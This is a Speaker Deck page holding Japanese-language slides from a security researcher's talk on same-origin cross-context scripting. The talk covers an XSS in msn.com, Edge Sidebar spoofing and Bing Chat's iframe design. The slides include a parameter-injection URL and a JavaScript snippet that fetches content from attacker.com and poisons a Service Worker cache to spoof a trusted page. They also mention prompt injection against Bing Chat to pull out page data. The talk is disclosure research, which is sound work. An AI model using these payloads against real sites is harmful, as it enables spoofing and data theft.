Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Sign up for free
Menu
Search
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Features
All features
Private URLs
Password Protection
Custom URLS
Scheduled publishing
Remove Branding
Restrict embedding
Deck Collections
Notes
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Explore
Featured decks
Featured speakers
Programming
Technology
Storyboards
Pricing
Search
Sign in
Sign up for free
Same-Origin Cross-Context Scripting
Search
Jun Kokatsu
January 05, 2024
1.1k
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
Same-Origin Cross-Context Scripting
Shibuya.XSS techtalk #12で登壇した際の資料です。
Jun Kokatsu
January 05, 2024
More Decks by Jun Kokatsu
See All by Jun Kokatsu
Operating Operator
shhnjk
1
1.5k
Piloting Edge Copilot
shhnjk
1
1.5k
The world of Site Isolation and compromised renderer
shhnjk
1
3.1k
Site Isolationの話
shhnjk
5
2.1k
ブラウザセキュリティ機能は バイパスされる為にある
shhnjk
8
4.1k
Logically Bypassing Browser Security Boundaries
shhnjk
5
3.5k
Featured
See All Featured
Hiding What from Whom? A Critical Review of the History of Programming languages for Music
tomoyanonymous
3
1.3k
Pawsitive SEO: Lessons from My Dog (and Many Mistakes) on Thriving as a Consultant in the Age of AI
davidcarrasco
0
250
Marketing to machines
jonoalderson
1
5.8k
CoffeeScript is Beautiful & I Never Want to Write Plain JavaScript Again
sstephenson
162
16k
技術選定の審美眼(2025年版) / Understanding the Spiral of Technologies 2025 edition
twada
PRO
120
120k
Leveraging Curiosity to Care for An Aging Population
cassininazir
1
500
Redefining SEO in the New Era of Traffic Generation
szymonslowik
1
430
Prompt Engineering for Job Search
mfonobong
0
460
The untapped power of vector embeddings
frankvandijk
2
1.9k
The innovator’s Mindset - Leading Through an Era of Exponential Change - McGill University 2025
jdejongh
PRO
1
340
I Don’t Have Time: Getting Over the Fear to Launch Your Podcast
jcasabona
35
2.8k
Taking LLMs out of the black box: A practical guide to human-in-the-loop distillation
inesmontani
PRO
3
2.4k
Transcript
Same-Origin Cross-Context Scripting Jun Kokatsu
• @shhnjk • Googleでウェブセキュリティの仕事をしてます。 • 以前はMicrosoft Edgeのセキュリティチームにいました。
今日の話 • 最近、XSSを見つけたページとは別の同一オリジンページを悪用する場面に遭遇 する。 • windowオブジェクトの参照が出来ない場合にどのように同一オリジン内の別の ページでスクリプトを実行できるかという話。
MSNのXSS ocidパラメータがheadタグのdata-client-settings属性内のJSONに反映される。
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。
MSNのXSS "をocidパラメータに入れるとJSONの一部を上書きできる。 https://www.msn.com/?ocid=","foo":"bar ↓ servicesEndpointsという値を上書きすることで 一部のページで任意の記事を表示することに成功。 ↓ XSS
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 • Sidebar内のwindowオブジェクトにアクセスする方法
はなさそう。
Edge Sidebarの偽装 Edge SidebarのGamesアプリはmsn.comのページを表示 している。 • Sidebarにはアドレスバーがないので偽装出来たら面 白そう。 • Sidebar内のwindowオブジェクトにアクセスする方法
はなさそう。 • Service Workerがインストールされている。
Edge Sidebarの偽装 Service WorkerがあるならCacheStorageを汚染してXSSからSidebar偽装まででき る。 caches.open('homepage-base-V1').then(async (cache) => { let
html = await fetch('https://attacker.com/spoof_page').then(r=>r.text()); let init = { headers: { 'Content-Type': 'text/html' } }; cache.put('/widgets/fullpage/gaming/widget?experiences=CasualGamesHub& sharedHeader=1', new Response(html, init)); });
https://youtu.be/HWk270-N-EA
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。
Edge SidebarのBing Chat SidebarのBing Chatはedge://discover-chatというブラウザの内部ページに edgeservices.bing.comがiframeで表示されるような設計になっている。 Bing Chatはユーザーがアクセスしている ページ情報をedge://discover-chatに postMessageで取得している。
edgeservices.bing.comにXSSがあれば 任意のページ情報を抜き取れる?
XSS発見! https://youtu.be/ar1-Re4OBNw
しかし… • localStorageやCookieを見てみたが、Sidebar内のBing ChatにXSSが出来そう なガジェットはみつからず😭 • Bing ChatはService WorkerやShared WorkerやBroadcast
Channelも使って いなかった。
Webアプリでもこの様な状況は起きるのか? COOPを設定しているサイトにフレームが埋め込まれている場合、そのフレーム内で のみ与えられる情報や権限がある場合に同じ状況が起こりうる。 vulnerable.example/XSSable vulnerable.example trusted.example COOP: same-origin <iframe src=//vulnerable.example
allow=geolocation>
今後SOPの概念が変わる可能性も? • 今まではXSSが出来ればそのオリジン内がアクセス出来るのどのような情報で もSOPの恩恵により取得できていた。 • しかしStorage PartitioningやThird-Party Cookieの廃止などで、オリジンの 持っている情報がコンテキストによって変化するようになる。 •
上記が実際にデフォルトになった場合、サイトによってはアラートを出すだけで は十分に悪用できるバグと判断されない可能性も。
最後に Bing ChatのPrompt Injectionを使ってページ情報を取得する猛者が登場。 https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/
Bing ChatのPrompt Injection • アラートばかり出していたら負けてしまうので、 Prompt Injectionを探してみた。 https://youtu.be/AM9OpuEPJIk
Questions? I can Google it for you 😊